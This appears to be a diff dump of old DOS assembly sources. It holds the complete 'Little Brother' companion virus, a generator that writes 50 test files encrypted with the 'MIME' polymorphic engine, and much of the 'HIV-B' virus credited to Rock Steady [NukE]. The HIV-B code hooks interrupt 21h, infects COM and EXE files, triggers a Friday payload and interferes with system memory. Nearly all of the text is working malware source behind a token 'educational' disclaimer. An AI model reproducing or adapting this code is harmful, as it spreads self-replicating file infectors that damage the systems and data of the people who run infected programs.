; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
@@ -0,0 +1,256 @@
|
||||
;****************************************************************************
|
||||
;* Little Brother version 3
|
||||
;*
|
||||
;* Compile with MASM 4.0
|
||||
;* (other assemblers will probably not produce the same result)
|
||||
;*
|
||||
;* Disclaimer:
|
||||
;* This file is only for educational purposes. The author takes no
|
||||
;* responsibility for anything anyone does with this file. Do not
|
||||
;* modify this file!
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:nothing
|
||||
|
||||
.RADIX 16
|
||||
|
||||
FILELEN equ end - begin
|
||||
oi21 equ end
|
||||
nameptr equ end+4
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Install the program!
|
||||
;****************************************************************************
|
||||
|
||||
org 100h
|
||||
|
||||
begin: cld
|
||||
mov sp,300
|
||||
|
||||
mov ax,0044h ;move program to empty hole
|
||||
mov es,ax
|
||||
mov di,0100h
|
||||
mov si,di
|
||||
mov cx,FILELEN
|
||||
rep movsb
|
||||
|
||||
mov ds,cx ;get original int21 vector
|
||||
mov si,0084h
|
||||
mov di,offset oi21
|
||||
mov dx,offset ni21
|
||||
lodsw
|
||||
cmp ax,dx ;already installed?
|
||||
je cancel
|
||||
stosw
|
||||
movsw
|
||||
|
||||
push es ;set vector to new handler
|
||||
pop ds
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
cancel: push cs ;restore segment registers
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov bx,30 ;free memory
|
||||
mov ah,4A
|
||||
int 21
|
||||
|
||||
mov es,ds:[002C] ;search filename in environment
|
||||
mov di,0
|
||||
mov ch,0FFh
|
||||
mov al,01
|
||||
repnz scasb
|
||||
inc di
|
||||
|
||||
mov word ptr [nameptr],di
|
||||
mov word ptr [nameptr+2],es
|
||||
|
||||
mov si,offset EXE_txt ;change extension to .EXE
|
||||
call change_ext
|
||||
|
||||
push cs
|
||||
pop es
|
||||
mov bx,offset param ;make EXEC param. block
|
||||
mov [bx+4],cs
|
||||
mov [bx+8],cs
|
||||
mov [bx+0C],cs
|
||||
lds dx,dword ptr [nameptr]
|
||||
mov ax,4B00 ;execute .EXE program
|
||||
int 21
|
||||
mov ah,4Dh ;ask return code
|
||||
int 21
|
||||
mov ah,4Ch ;exit with same return code
|
||||
int 21
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* EXEC parameter block
|
||||
;****************************************************************************
|
||||
|
||||
param dw 0, 80, ?, 5C, ?, 6C, ?
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* File-extensions
|
||||
;****************************************************************************
|
||||
|
||||
EXE_txt db 'EXE',0
|
||||
COM_txt db 'COM',0
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
ni21: pushf
|
||||
push dx
|
||||
push bx
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp ax,4B00h ;execute ?
|
||||
jne exit
|
||||
|
||||
doit: call infect
|
||||
|
||||
exit: pop es
|
||||
pop ds
|
||||
pop ax
|
||||
pop bx
|
||||
pop dx
|
||||
popf
|
||||
|
||||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||||
mov word ptr cs:[nameptr+2],ds
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
call searchpoint
|
||||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
mov si,offset COM_txt ;change extension to COM
|
||||
call change_ext
|
||||
|
||||
mov ax,3300h ;get ctrl-break flag
|
||||
int 21
|
||||
push dx
|
||||
|
||||
cwd ;clear the flag
|
||||
inc ax
|
||||
push ax
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
push cs ;set int24 vec to new handler
|
||||
pop ds
|
||||
mov dx,offset ni24
|
||||
mov ah,25h
|
||||
push ax
|
||||
int 21
|
||||
|
||||
lds dx,dword ptr [nameptr] ;create the virus (unique name)
|
||||
xor cx,cx
|
||||
mov ah,5Bh
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax ;save handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,FILELEN ;write the virus
|
||||
mov dx,offset begin
|
||||
mov ah,40h
|
||||
int 21
|
||||
cmp ax,cx
|
||||
pushf
|
||||
|
||||
mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
popf
|
||||
jz return1 ;all bytes written?
|
||||
|
||||
lds dx,dword ptr [nameptr] ;no, delete the virus
|
||||
mov ah,41h
|
||||
int 21
|
||||
|
||||
return1: pop ax ;restore int24 vector
|
||||
pop ds
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
pop ax ;restore ctrl-break flag
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
mov si,offset EXE_txt ;change extension to EXE
|
||||
call change_ext ;execute .EXE program
|
||||
|
||||
return: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* change the extension of the filename (CS:SI -> ext)
|
||||
;****************************************************************************
|
||||
|
||||
change_ext: call searchpoint
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* search begin of extension
|
||||
;****************************************************************************
|
||||
|
||||
searchpoint: les di,dword ptr cs:[nameptr]
|
||||
mov ch,0FFh
|
||||
mov al,0
|
||||
repnz scasb
|
||||
sub di,4
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Text and Signature
|
||||
;****************************************************************************
|
||||
|
||||
db 'Little Brother',0
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,85 @@
|
||||
.286
|
||||
.model small
|
||||
.code
|
||||
org 0100h
|
||||
|
||||
msg_addr equ offset msg - offset proc_start- 3
|
||||
|
||||
extrn mime:near,emime:near
|
||||
|
||||
; 以下程式,除了要注意的地方有注解,其它部份自己研究
|
||||
|
||||
start:
|
||||
mov ah,09h
|
||||
mov dx,offset dg_msg
|
||||
int 21h
|
||||
|
||||
mov ax,offset emime+000fh ; 本程式 + mime+000fh 之後的位址
|
||||
; 若減 0100h 則成為本程式 + mime 的長度
|
||||
|
||||
shr ax,4
|
||||
mov bx,cs
|
||||
add bx,ax
|
||||
|
||||
mov es,bx ; 設 es 用來放解碼程式和被編碼資料
|
||||
; 解碼程式最大為 1024 bytes
|
||||
; 若用在常駐程式時,則須注意分配的記憶體大小
|
||||
|
||||
mov cx,50
|
||||
dg_l0:
|
||||
push cx
|
||||
mov ah,3ch
|
||||
xor cx,cx
|
||||
mov dx,offset file_name
|
||||
int 21h
|
||||
xchg bx,ax
|
||||
|
||||
mov cx,offset proc_end-offset proc_start ; 被編碼程式的長度
|
||||
|
||||
mov si,offset proc_start ; ds:si -> 要被編碼的程式位址
|
||||
xor di, di
|
||||
|
||||
push bx ; 保存 file handle
|
||||
|
||||
mov bx, 100h ; com 模式
|
||||
|
||||
call mime
|
||||
|
||||
pop bx
|
||||
|
||||
mov ah,40h ; 返回時 ds:dx = 解碼程式 + 被編碼程式的位址
|
||||
int 21h ; cx = 解碼程式 + 被編碼程式的長度,其它暫存器不變
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds ; 將 ds 設回來
|
||||
|
||||
mov bx,offset file_num
|
||||
inc byte ptr ds:[bx+0001h]
|
||||
cmp byte ptr ds:[bx+0001h],'9'
|
||||
jbe dg_l1
|
||||
inc byte ptr ds:[bx]
|
||||
mov byte ptr ds:[bx+0001h],'0'
|
||||
dg_l1:
|
||||
pop cx
|
||||
loop dg_l0
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
|
||||
file_name db '000000'
|
||||
file_num db '00.com',00h
|
||||
|
||||
dg_msg db 'generates 50 mime encrypted test files.',0dh,0ah,'$'
|
||||
|
||||
proc_start:
|
||||
call $+0003h
|
||||
pop dx
|
||||
add dx,msg_addr
|
||||
mov ah,09h
|
||||
int 21h
|
||||
int 20h
|
||||
msg db 'This is <MIME> test file.$'
|
||||
proc_end:
|
||||
end start
|
||||
@@ -0,0 +1,752 @@
|
||||
|
||||
|
||||
DATA_1E EQU 4CH ; Just a Few Data Segments that are
|
||||
DATA_3E EQU 84H ; Needed for the virus to find some
|
||||
DATA_5E EQU 90H ; hard core info...
|
||||
DATA_7E EQU 102H
|
||||
DATA_8E EQU 106H
|
||||
DATA_9E EQU 122H
|
||||
DATA_10E EQU 124H
|
||||
DATA_11E EQU 15AH
|
||||
DATA_12E EQU 450H
|
||||
DATA_13E EQU 462H
|
||||
DATA_14E EQU 47BH
|
||||
DATA_15E EQU 0
|
||||
DATA_16E EQU 1
|
||||
DATA_17E EQU 2
|
||||
DATA_18E EQU 6
|
||||
DATA_42E EQU 0FB2CH
|
||||
DATA_43E EQU 0FB2EH
|
||||
DATA_44E EQU 0FB4BH
|
||||
DATA_45E EQU 0FB4DH
|
||||
DATA_46E EQU 0FB83H
|
||||
DATA_47E EQU 0FB8DH
|
||||
DATA_48E EQU 0FB8FH
|
||||
DATA_49E EQU 0FB95H
|
||||
DATA_50E EQU 0FB97H
|
||||
DATA_51E EQU 0
|
||||
DATA_52E EQU 2
|
||||
|
||||
SEG_A SEGMENT BYTE PUBLIC
|
||||
ASSUME CS:SEG_A, DS:SEG_A
|
||||
|
||||
|
||||
ORG 100h ; Compile this to a .COM file!
|
||||
; So the Virus starts at 0100h
|
||||
HIV PROC FAR
|
||||
|
||||
START:
|
||||
JMP LOC_35
|
||||
DB 0C3H
|
||||
DB 23 DUP (0C3H)
|
||||
DB 61H, 6EH, 74H, 69H, 64H, 65H
|
||||
DB 62H, 0C3H, 0C3H, 0C3H, 0C3H
|
||||
DB 'HIV-B Virus - Release 1.1 [NukE]'
|
||||
DB ' '
|
||||
copyright DB '(C) Edited by Rock Steady [NukE]'
|
||||
DB 0, 0
|
||||
DATA_24 DW 0
|
||||
DATA_25 DW 0
|
||||
DATA_26 DW 0
|
||||
DATA_27 DW 706AH
|
||||
DATA_28 DD 00000H
|
||||
DATA_29 DW 0
|
||||
DATA_30 DW 706AH
|
||||
DATA_31 DD 00000H
|
||||
DATA_32 DW 0
|
||||
DATA_33 DW 706AH
|
||||
DATA_34 DB 'HIV-B VIRUS - Release 1.1 [NukE]', 0AH, 0DH
|
||||
DB 'Edited by Rock Steady [NukE]', 0AH, 0DH
|
||||
DB '(C) 1991 Italian Virus Laboratory', 0AH, 0DH
|
||||
DB '$'
|
||||
DB 0E8H, 83H, 3, 3DH, 4DH, 4BH
|
||||
DB 75H, 9, 55H, 8BH, 0ECH, 83H
|
||||
DB 66H, 6, 0FEH, 5DH, 0CFH, 80H
|
||||
DB 0FCH, 4BH, 74H, 12H, 3DH, 0
|
||||
DB 3DH, 74H, 0DH, 3DH, 0, 6CH
|
||||
DB 75H, 5, 80H, 0FBH, 0, 74H
|
||||
DB 3
|
||||
LOC_1:
|
||||
JMP LOC_13
|
||||
LOC_2:
|
||||
PUSH ES ; Save All Regesters so that when
|
||||
PUSH DS ; we restore the program it will
|
||||
PUSH DI ; RUN correctly and hide the fact
|
||||
PUSH SI ; that any Virii is tampering with
|
||||
PUSH BP ; the System....
|
||||
PUSH DX
|
||||
PUSH CX
|
||||
PUSH BX
|
||||
PUSH AX
|
||||
CALL SUB_6
|
||||
CALL SUB_7
|
||||
CMP AX,6C00H
|
||||
JNE LOC_3 ; Jump if not equal
|
||||
MOV DX,SI
|
||||
LOC_3:
|
||||
MOV CX,80H
|
||||
MOV SI,DX
|
||||
|
||||
LOCLOOP_4:
|
||||
INC SI ; Slowly down the System a
|
||||
MOV AL,[SI] ; little.
|
||||
OR AL,AL ; Zero ?
|
||||
LOOPNZ LOCLOOP_4 ; Loop if zf=0, cx>0
|
||||
|
||||
SUB SI,2
|
||||
CMP WORD PTR [SI],4D4FH
|
||||
JE LOC_7 ; Jump if equal
|
||||
CMP WORD PTR [SI],4558H
|
||||
JE LOC_6 ; Jump if equal
|
||||
LOC_5:
|
||||
JMP SHORT LOC_12 ;
|
||||
DB 90H
|
||||
LOC_6:
|
||||
CMP WORD PTR [SI-2],452EH
|
||||
JE LOC_8 ; Jump if equal
|
||||
JMP SHORT LOC_5 ;
|
||||
LOC_7:
|
||||
NOP
|
||||
CMP WORD PTR [SI-2],432EH
|
||||
JNE LOC_5 ; Jump if not equal
|
||||
LOC_8:
|
||||
MOV AX,3D02H
|
||||
CALL SUB_5
|
||||
JC LOC_12 ; Jump if carry Set
|
||||
MOV BX,AX
|
||||
MOV AX,5700H
|
||||
CALL SUB_5 ; Initsilize the virus...
|
||||
MOV CS:DATA_24,CX ; A Basic Start up to check
|
||||
MOV CS:DATA_25,DX ; The Interrup 21h
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
CALL SUB_5
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,103H
|
||||
MOV SI,DX
|
||||
MOV CX,18H
|
||||
MOV AH,3FH
|
||||
CALL SUB_5
|
||||
JC LOC_10 ; Jump if carry Set
|
||||
CMP WORD PTR [SI],5A4DH
|
||||
JNE LOC_9 ; Jump if not equal
|
||||
CALL SUB_1
|
||||
JMP SHORT LOC_10
|
||||
LOC_9:
|
||||
CALL SUB_4
|
||||
LOC_10:
|
||||
JC LOC_11 ; Jump if carry Set
|
||||
MOV AX,5701H
|
||||
MOV CX,CS:DATA_24
|
||||
MOV DX,CS:DATA_25
|
||||
CALL SUB_5
|
||||
LOC_11:
|
||||
MOV AH,3EH ; '>'
|
||||
CALL SUB_5
|
||||
LOC_12:
|
||||
CALL SUB_7
|
||||
POP AX ; A Stealth Procedure to
|
||||
POP BX ; end the virus and restore
|
||||
POP CX ; the program! Pup back all
|
||||
POP DX ; regesters as we found them!
|
||||
POP BP ; so nothings changed...
|
||||
POP SI
|
||||
POP DI
|
||||
POP DS
|
||||
POP ES
|
||||
LOC_13:
|
||||
JMP CS:DATA_28
|
||||
DB 0B4H, 2AH, 0CDH, 21H, 0C3H
|
||||
|
||||
HIV ENDP
|
||||
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;*- SUBROUTINE *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
|
||||
SUB_1 PROC NEAR ; Start of the Virus!
|
||||
MOV AH,2AH ; Get the Date system Date!
|
||||
INT 21H ; If its Friday Display the
|
||||
; message at Data34 and End!
|
||||
CMP AL,6
|
||||
JE LOC_15 ; If Friday display message
|
||||
JNZ LOC_14 ; If not continue infecting
|
||||
LOC_14: ; and screwing the system!
|
||||
MOV CX,[SI+16H]
|
||||
ADD CX,[SI+8]
|
||||
MOV AX,10H
|
||||
MUL CX ; dx:ax = reg * ax
|
||||
ADD AX,[SI+14H]
|
||||
ADC DX,0
|
||||
PUSH DX
|
||||
PUSH AX
|
||||
MOV AX,4202H
|
||||
XOR CX,CX ; Zero register
|
||||
XOR DX,DX ; Zero register
|
||||
CALL SUB_5
|
||||
CMP DX,0
|
||||
JNE LOC_16 ; Jump if not equal
|
||||
CMP AX,64EH
|
||||
JAE LOC_16 ; Jump if above or =
|
||||
POP AX
|
||||
POP DX
|
||||
STC ; Set carry flag
|
||||
RETN
|
||||
LOC_15:
|
||||
MOV DX,OFFSET DATA_34+18H ; Display Message at Data34!
|
||||
MOV AH,9 ; With New Offset Address in
|
||||
INT 21H ; memory!
|
||||
;
|
||||
POP AX ; Restore all Regesters as if
|
||||
POP BX ; nothing was changed and exit
|
||||
POP CX ; virus and run File...
|
||||
POP DX
|
||||
POP SI
|
||||
POP DI
|
||||
POP BP
|
||||
POP DS
|
||||
POP ES
|
||||
MOV AH,0 ; Exit Virus if your in a .EXE
|
||||
INT 21H ; File!!!
|
||||
; Exit virus if your in a .COM
|
||||
INT 20H ; File!!!
|
||||
LOC_16:
|
||||
MOV DI,AX
|
||||
MOV BP,DX
|
||||
POP CX
|
||||
SUB AX,CX
|
||||
POP CX
|
||||
SBB DX,CX
|
||||
CMP WORD PTR [SI+0CH],0
|
||||
JE LOC_RET_19 ; Jump if equal
|
||||
CMP DX,0
|
||||
JNE LOC_17 ; Jump if not equal
|
||||
CMP AX,64EH
|
||||
JNE LOC_17 ; Jump if not equal
|
||||
STC ; Set carry flag
|
||||
RETN
|
||||
LOC_17:
|
||||
MOV DX,BP
|
||||
MOV AX,DI
|
||||
PUSH DX
|
||||
PUSH AX
|
||||
ADD AX,64EH
|
||||
ADC DX,0
|
||||
MOV CX,200H
|
||||
DIV CX ; Find out How much System
|
||||
LES DI,DWORD PTR [SI+2] ; memory is available...
|
||||
MOV CS:DATA_26,DI ;
|
||||
MOV CS:DATA_27,ES ; Every so often make the
|
||||
MOV [SI+2],DX ; system memory small than
|
||||
CMP DX,0 ; what it already is...
|
||||
JE LOC_18 ; Screws up the users hehe
|
||||
INC AX
|
||||
LOC_18:
|
||||
MOV [SI+4],AX
|
||||
POP AX
|
||||
POP DX
|
||||
CALL SUB_2
|
||||
SUB AX,[SI+8]
|
||||
LES DI,DWORD PTR [SI+14H]
|
||||
MOV DS:DATA_9E,DI
|
||||
MOV DS:DATA_10E,ES
|
||||
MOV [SI+14H],DX ; Tie up some memory!
|
||||
MOV [SI+16H],AX ; release it on next execution
|
||||
MOV DS:DATA_11E,AX ; Jump to su routine to do
|
||||
MOV AX,4202H ; this and disable interrups
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
CALL SUB_5
|
||||
CALL SUB_3
|
||||
JC LOC_RET_19
|
||||
MOV AX,4200H
|
||||
XOR CX,CX ; Zero register
|
||||
XOR DX,DX ; Zero register
|
||||
CALL SUB_5
|
||||
MOV AH,40H
|
||||
MOV DX,SI
|
||||
MOV CX,18H
|
||||
CALL SUB_5
|
||||
LOC_RET_19:
|
||||
RETN
|
||||
SUB_1 ENDP
|
||||
|
||||
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;*- SUBROUTINE *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
|
||||
SUB_2 PROC NEAR
|
||||
MOV CX,4
|
||||
MOV DI,AX
|
||||
AND DI,0FH
|
||||
|
||||
LOCLOOP_20:
|
||||
SHR DX,1 ; Shift w/zeros fill
|
||||
RCR AX,1 ; Rotate thru carry
|
||||
LOOP LOCLOOP_20 ; Loop if cx > 0
|
||||
|
||||
MOV DX,DI
|
||||
RETN
|
||||
SUB_2 ENDP
|
||||
|
||||
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;*- SUBROUTINE *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
|
||||
SUB_3 PROC NEAR
|
||||
MOV AH,40H
|
||||
MOV CX,64EH
|
||||
MOV DX,100H
|
||||
CALL SUB_6
|
||||
JMP SHORT LOC_24
|
||||
DB 90H
|
||||
|
||||
;*-*- External Entry into Subroutine -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
|
||||
SUB_4:
|
||||
MOV AX,4202H
|
||||
XOR CX,CX ; Zero register
|
||||
XOR DX,DX ; Zero register
|
||||
CALL SUB_5
|
||||
CMP AX,64EH
|
||||
JB LOC_RET_23 ; Jump if below
|
||||
CMP AX,0FA00H
|
||||
JAE LOC_RET_23 ; Jump if above or =
|
||||
PUSH AX
|
||||
CMP BYTE PTR [SI],0E9H
|
||||
JNE LOC_21 ; Jump if not equal
|
||||
SUB AX,651H
|
||||
CMP AX,[SI+1]
|
||||
JNE LOC_21 ; Jump if not equal
|
||||
POP AX
|
||||
STC ; Set carry flag
|
||||
RETN
|
||||
LOC_21:
|
||||
CALL SUB_3
|
||||
JNC LOC_22 ; Jump if carry=0
|
||||
POP AX
|
||||
RETN
|
||||
LOC_22:
|
||||
MOV AX,4200H
|
||||
XOR CX,CX ; Zero register
|
||||
XOR DX,DX ; Zero register
|
||||
CALL SUB_5
|
||||
POP AX
|
||||
SUB AX,3
|
||||
MOV DX,122H
|
||||
MOV SI,DX
|
||||
MOV BYTE PTR CS:[SI],0E9H
|
||||
MOV CS:[SI+1],AX
|
||||
MOV AH,40H
|
||||
MOV CX,3
|
||||
CALL SUB_5
|
||||
|
||||
LOC_RET_23:
|
||||
RETN
|
||||
SUB_3 ENDP
|
||||
|
||||
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;*- SUBROUTINE *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
|
||||
SUB_5 PROC NEAR
|
||||
LOC_24:
|
||||
PUSHF ; Push flags
|
||||
CALL CS:DATA_28
|
||||
RETN
|
||||
SUB_5 ENDP
|
||||
|
||||
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;*- SUBROUTINE *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
|
||||
SUB_6 PROC NEAR
|
||||
PUSH AX
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
XOR AX,AX ; Zero register
|
||||
PUSH AX
|
||||
POP DS
|
||||
CLI ; Disable the interrupts
|
||||
LES AX,DWORD PTR DS:DATA_5E ; This Copies the Virus
|
||||
MOV CS:DATA_29,AX ; to the COM File...
|
||||
MOV CS:DATA_30,ES
|
||||
MOV AX,46AH
|
||||
MOV DS:DATA_5E,AX
|
||||
MOV WORD PTR DS:DATA_5E+2,CS
|
||||
LES AX,DWORD PTR DS:DATA_1E ; Loads 32Bit word..
|
||||
MOV CS:DATA_32,AX ; get your info needed on
|
||||
MOV CS:DATA_33,ES ; System...
|
||||
LES AX,CS:DATA_31
|
||||
MOV DS:DATA_1E,AX
|
||||
MOV WORD PTR DS:DATA_1E+2,ES
|
||||
STI ; Enable the interrupts
|
||||
POP ES ; and restore regesters!
|
||||
POP DS ; go back to the file
|
||||
POP AX ; being executed...
|
||||
RETN
|
||||
SUB_6 ENDP
|
||||
|
||||
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;*- SUBROUTINE *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
|
||||
SUB_7 PROC NEAR
|
||||
PUSH AX
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
XOR AX,AX ; Zero register
|
||||
PUSH AX
|
||||
POP DS
|
||||
CLI ; Disable interrupts
|
||||
LES AX,DWORD PTR CS:DATA_29 ; same as Sub_6 just copy
|
||||
MOV DS:DATA_5E,AX ; yourself to the EXE
|
||||
MOV WORD PTR DS:DATA_5E+2,ES
|
||||
LES AX,DWORD PTR CS:DATA_32
|
||||
MOV DS:DATA_1E,AX
|
||||
MOV WORD PTR DS:DATA_1E+2,ES
|
||||
STI ; Enable interrupts
|
||||
POP ES
|
||||
POP DS
|
||||
POP AX
|
||||
RETN
|
||||
SUB_7 ENDP
|
||||
|
||||
DB 0B0H, 3, 0CFH, 50H, 53H, 51H
|
||||
DB 52H, 56H, 57H, 55H, 1EH, 6
|
||||
DB 33H, 0C0H, 50H, 1FH, 8AH, 3EH
|
||||
DB 62H, 4, 0A1H, 50H, 4, 2EH
|
||||
DB 0A3H, 0CEH, 4, 2EH, 0A1H, 0C7H
|
||||
DB 4, 0A3H, 50H, 4, 2EH, 0A1H
|
||||
DB 0C5H, 4, 8AH, 0DCH, 0B4H, 9
|
||||
DB 0B9H, 1, 0, 0CDH, 10H, 0E8H
|
||||
DB 34H, 0, 0E8H, 0B7H, 0, 2EH
|
||||
DB 0A1H, 0C7H, 4, 0A3H, 50H, 4
|
||||
DB 0B3H, 2, 0B8H, 2, 9, 0B9H
|
||||
DB 1, 0, 0CDH, 10H, 2EH, 0A1H
|
||||
DB 0CEH, 4, 0A3H, 50H, 4, 7
|
||||
DB 1FH
|
||||
DB ']_^ZY[X.'
|
||||
DB 0FFH, 2EH, 0CAH, 4
|
||||
DATA_36 DW 0
|
||||
DATA_37 DW 1010H
|
||||
DATA_39 DB 0
|
||||
DATA_40 DD 706A0000H
|
||||
DB 0, 0, 2EH, 0A1H, 0C7H, 4
|
||||
DB 8BH, 1EH, 4AH, 4, 4BH, 2EH
|
||||
DB 0F6H, 6, 0C9H, 4, 1, 74H
|
||||
DB 0CH, 3AH, 0C3H, 72H, 12H, 2EH
|
||||
DB 80H, 36H, 0C9H, 4, 1, 0EBH
|
||||
DB 0AH
|
||||
LOC_25:
|
||||
CMP AL,0
|
||||
JG LOC_26 ; Jump if >
|
||||
XOR CS:DATA_39,1
|
||||
LOC_26:
|
||||
TEST CS:DATA_39,2
|
||||
JZ LOC_27 ; Jump if zero
|
||||
CMP AH,18H
|
||||
JB LOC_28 ; Jump if below
|
||||
XOR CS:DATA_39,2
|
||||
JMP SHORT LOC_28
|
||||
LOC_27:
|
||||
CMP AH,0
|
||||
JG LOC_28 ; Jump if >
|
||||
XOR CS:DATA_39,2
|
||||
LOC_28:
|
||||
CMP BYTE PTR CS:DATA_36,20H
|
||||
JE LOC_29 ; Jump if equal
|
||||
CMP BYTE PTR CS:DATA_37+1,0
|
||||
JE LOC_29 ; Jump if equal
|
||||
XOR CS:DATA_39,2
|
||||
LOC_29:
|
||||
TEST CS:DATA_39,1
|
||||
JZ LOC_30 ; Jump if zero
|
||||
INC BYTE PTR CS:DATA_37
|
||||
JMP SHORT LOC_31
|
||||
LOC_30:
|
||||
DEC BYTE PTR CS:DATA_37 ; (706A:04C7=10H)
|
||||
LOC_31:
|
||||
TEST CS:DATA_39,2 ; (706A:04C9=0)
|
||||
JZ LOC_32 ; Jump if zero
|
||||
INC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
|
||||
JMP SHORT LOC_RET_33 ; (0555)
|
||||
LOC_32:
|
||||
DEC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
|
||||
|
||||
LOC_RET_33:
|
||||
RETN
|
||||
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;*- SUBROUTINE *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
|
||||
SUB_8 PROC NEAR
|
||||
MOV AX,CS:DATA_37
|
||||
MOV DS:DATA_12E,AX ; Get info on type of Video
|
||||
MOV BH,DS:DATA_13E ; Display the system has...
|
||||
MOV AH,8
|
||||
INT 10H ; with ah=functn 08h
|
||||
; basically fuck the cursur..
|
||||
MOV CS:DATA_36,AX
|
||||
RETN
|
||||
SUB_8 ENDP
|
||||
|
||||
DB 50H, 53H, 51H, 52H, 56H, 57H
|
||||
DB 55H, 1EH, 6, 33H, 0C0H, 50H
|
||||
DB 1FH, 81H, 3EH, 70H, 0, 6DH
|
||||
DB 4, 74H, 35H, 0A1H, 6CH, 4
|
||||
DB 8BH, 16H, 6EH, 4, 0B9H, 0FFH
|
||||
DB 0FFH, 0F7H, 0F1H, 3DH, 10H, 0
|
||||
DB 75H, 24H, 0FAH, 8BH, 2EH, 50H
|
||||
DB 4, 0E8H, 0BEH, 0FFH, 89H, 2EH
|
||||
DB 50H, 4, 0C4H, 6, 70H, 0
|
||||
DB 2EH, 0A3H, 0CAH, 4, 2EH, 8CH
|
||||
DB 6, 0CCH, 4, 0C7H, 6, 70H
|
||||
DB 0, 6DH, 4, 8CH, 0EH, 72H
|
||||
DB 0, 0FBH
|
||||
LOC_34:
|
||||
POP ES
|
||||
POP DS ; Restore and get lost...
|
||||
POP BP
|
||||
POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
RETN
|
||||
|
||||
